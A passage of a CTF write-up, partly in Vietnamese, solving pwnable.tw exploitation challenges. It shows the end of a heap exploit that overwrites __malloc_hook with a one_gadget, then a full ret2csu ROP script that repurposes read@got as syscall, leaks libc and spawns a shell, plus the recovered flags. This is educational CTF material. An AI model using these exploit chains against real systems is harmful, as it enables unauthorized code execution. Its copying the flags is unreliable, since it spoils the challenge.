#8 #malloc #66d0 #reused #6 show() p.recvuntil(b"Life imprisonment, murder") p.recvuntil(b"a"*8) libc_leak = u64(p.recv(6).ljust(8, b"\x00")) libc.address = libc_leak - 0x3c3b78 malloc_hook = libc.sym.__malloc_hook fake_chunk = malloc_hook - 0x23 info("libc leak:" + hex(libc_leak)) info("libc base:" + hex(libc.address)) info("fake chunk:" + hex(fake_chunk)) ### leak heap ### delete(1) #6d60 #James Doolin ptr_heap = malloc_hook+0x68 add(9, 0x48, p64(ptr_heap)*2) #9 #malloc #6d60 #9 -> #1 show() p.recvuntil(b"multiple homicides") p.recvuntil(b"Prisoner: ") heap_leak = u64((p.recv(6))+b'\0\0') info("heap leak:" + hex(heap_leak)) ### target_chunk ### #head: 0x5555556173b0 #attack: 0x555555616d60 # GDB() add(2, 0x68, b"aaaa") #2 #malloc #79b0 #target_chunk add(3, 0x20, b"hlan") #3 #malloc #7a20 #avoid consolidation add(2, 0x78, b"bbbb") #2 #realloc #7a50 #free #79b0 #bin0x70: 9a0 target_chunk = heap_leak #79a0 info("target chunk:" + hex(target_chunk)) payload = p64(heap_leak) + p64(heap_leak) #stuff payload += p64(heap_leak) + p64(0x000000010000002d) #stuff #key payload += p64(heap_leak) + p64(0x10) #stuff #fake_size payload += p64(target_chunk+0x10) #target_chunk add(9, 0x48, payload) #9 #6d60 #not create new (changed #1) add(1, 0x10, p64(fake_chunk)) #1 #not create new #bin0x70 9b0->fake_chunk ### get fake_chunk ### # input() og = [0x45216, 0x4526a, 0xef6c4, 0xf0567] one_gadget = libc.address + og[3] system = libc.sym.system info("malloc_hook:" + hex(malloc_hook)) info("one_gadget:" + hex(one_gadget)) #0x555555617a20 add(3, 0x68, b"cccc") #3 #realloc #79b0 #free #7a20 #bin0x70: fake_chunk payload = b'a'*0xb + p64(one_gadget) + p64(libc.sym.realloc+11)#realloc_plt add(4, 0x30, payload) #4 #malloc #7ad0 add(5, 0x40, b"hlan") #5 #malloc #7b10 #avoid consolidation add(4, 0x68, b"") #4 #realloc #fake_chunk #free #7ad0 ### get shell ### sa(b"> ", b"note\n") sa(b"Cell: ", b"0") sa(b"Size: ", str(0x80)) p.interactive() #FLAG{Br3ak_0ut_7He_Pr1s0N} ``` >FLAG{Br3ak_0ut_7He_Pr1s0N} --- ## unexploitable [500 pts] - description: The original challenge is on `pwnable.kr` and it is solvable. This time we fix the vulnerability and now we promise that the service is unexploitable. `nc chall.pwnable.tw 10403` [unexploitable](https://pwnable.tw/static/chall/unexploitable) [libc.so](https://pwnable.tw/static/libc/libc_64.so.6) - basic file check ![image](https://hackmd.io/_uploads/Byq6Mcq2A.png) - check ida ![image](https://hackmd.io/_uploads/BJpymq53R.png) >**main()** ### analyse - BOF khá là rõ, nhưng với những dạng chall thế này thường là ROP - có khá ít gadget nên sẽ đổi hướng qua ret2csu ![image](https://hackmd.io/_uploads/SymjQc9h0.png) > hơi khác, thay vì `pop` thì `mov` trên stack - hơi khoai vì k có hàm để in ra ![image](https://hackmd.io/_uploads/BJlxr5chA.png) - nhưng vì có thể call thoải mái **read** (nếu setup csu) nên target sẽ là thay đổi **read@plt** thành 1 cái khác - nhưng đổi từ **plt** này sang **plt** khác là điều không thể --> modify least significant byte ![image](https://hackmd.io/_uploads/rkhGUq93A.png) > byte '\x7e' là syscall - vậy target là call **read** ghi 1 byte tại **read@got** - từ đó setup syscall number ở $rax là có thể call mọi hàm (cụ thể để leak là **write**) - leak xong call **read** tiếp thay đổi **read@plt** thành system - setup "/bin/sh\0" rồi call **read** (system) ### trigger read 1 more time ```py payload = b"a"*0x10 payload += p64(0xdeadbeef) #rbp payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600) payload += p64(pop_rbp) #set rbp payload += p64(rw_section+0x8) #rbp payload += p64(leave_ret) sl(payload) ``` ### leak libc + get shell ```py payload = b"/bin/sh\0" #rw_section payload += p64(0xdeadbeef) #new rbp payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1) #modify least significant byte to syscall for i in range(6): payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main, 0) #change syscall number to read (RAX=0) payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8) #ow read@got = system payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0) #rdi = "/bin/sh\0" + call system payload += p64(exe.sym.main) sl(payload) sleep(1) s(b'\x7e') #syscall sleep(1) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym.__libc_start_main system = libc.sym.system print(f"[*] Libc leak: {hex(libc_leak)}") print(f"[*] Libc base: {hex(libc.address)}") sleep(1) s(p64(system)) ``` - lưu ý, ta phải sleep 1 khoảng thời gian vì hong là tốc độ gửi tiếp payload tiếp theo quá nhanh --> recvuntil không kịp --> fail > tuỳ thuộc vào delay độ trễ của server nên tăng time lên nếu cần thiết ### get flag ![image](https://hackmd.io/_uploads/H1XJYcq3R.png) - script: ```py #!/usr/bin/python3 from pwn import * exe = ELF('./unexploitable_patched', checksec=False) libc = ELF('./libc_64.so.6', checksec=False) context.binary = exe info = lambda msg: log.info(msg) sla = lambda msg, data: p.sendlineafter(msg, data) sa = lambda msg, data: p.sendafter(msg, data) sl = lambda data: p.sendline(data) s = lambda data: p.send(data) sln = lambda msg, num: sla(msg, str(num).encode()) sn = lambda msg, num: sa(msg, str(num).encode()) def GDB(): if not args.REMOTE: gdb.attach(p, gdbscript=''' b*main+51 c ''') input() if args.REMOTE: p = remote('chall.pwnable.tw',10403) else: p = process(exe.path) ''' 0x00000000004005d0 <+80>: mov rdx,r15 0x00000000004005d3 <+83>: mov rsi,r14 0x00000000004005d6 <+86>: mov edi,r13d 0x00000000004005d9 <+89>: call QWORD PTR [r12+rbx*8] ------------------------------------------------------------ 0x00000000004005e6 <+102>: mov rbx,QWORD PTR [rsp+0x8] 0x00000000004005eb <+107>: mov rbp,QWORD PTR [rsp+0x10] 0x00000000004005f0 <+112>: mov r12,QWORD PTR [rsp+0x18] 0x00000000004005f5 <+117>: mov r13,QWORD PTR [rsp+0x20] 0x00000000004005fa <+122>: mov r14,QWORD PTR [rsp+0x28] 0x00000000004005ff <+127>: mov r15,QWORD PTR [rsp+0x30] 0x0000000000400604 <+132>: add rsp,0x38 0x0000000000400608 <+136>: ret ''' rw_section = 0x601028 + (0x100-0x8) csu_1 = 0x00000000004005e6 csu_2 = 0x00000000004005d0 pop_rbp = 0x0000000000400512 leave_ret = 0x0000000000400576 def csu_rop(rbx:int, rbp:int, r12:int, rdi:int, rsi:int, rdx:int): rop = p64(csu_1) rop += p64(0) #padding rop += p64(rbx) #rbx rop += p64(rbp) #rbp rop += p64(r12) #r12->call rop += p64(rdi) #r13->edi rop += p64(rsi) #r14->rsi rop += p64(rdx) #r15->rdx rop += p64(csu_2) #call r12 rop += b"A"*0x38 #padding return rop payload = b"a"*0x10 payload += p64(0xdeadbeef) #rbp payload += csu_rop(0,1,exe.got.read,0,rw_section,0x600) payload += p64(pop_rbp) #set rbp payload += p64(rw_section+0x8) #rbp payload += p64(leave_ret) sl(payload) sleep(3) GDB() payload = b"/bin/sh\0" #rw_section payload += p64(0xdeadbeef) #new rbp payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 1) #modify least significant byte to syscall for i in range(6): payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main+i, 1) #leak libc payload += csu_rop(0, 1, exe.got.read, 1, exe.got.__libc_start_main, 0) #change syscall number to read (RAX=0) payload += csu_rop(0, 1, exe.got.read, 0, exe.got.read, 0x8) #ow read@got = system payload += csu_rop(0, 1, exe.got.read, rw_section, 0, 0) #rdi = "/bin/sh\0" + call system payload += p64(exe.sym.main) sl(payload) sleep(1) s(b'\x7e') #syscall sleep(1) libc_leak = u64(p.recv(6)+b'\0\0') libc.address = libc_leak - libc.sym.__libc_start_main system = libc.sym.system print(f"[*] Libc leak: {hex(libc_leak)}") print(f"[*] Libc base: {hex(libc.address)}") sleep(1) s(p64(system)) p.interactive() #FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3} ``` >FLAG{4_r34lLy_Un3Xpl01T48l3_S3Rv1C3_Sh0UlD_n0T_H4v3_SYsC4ll_1NS1D3}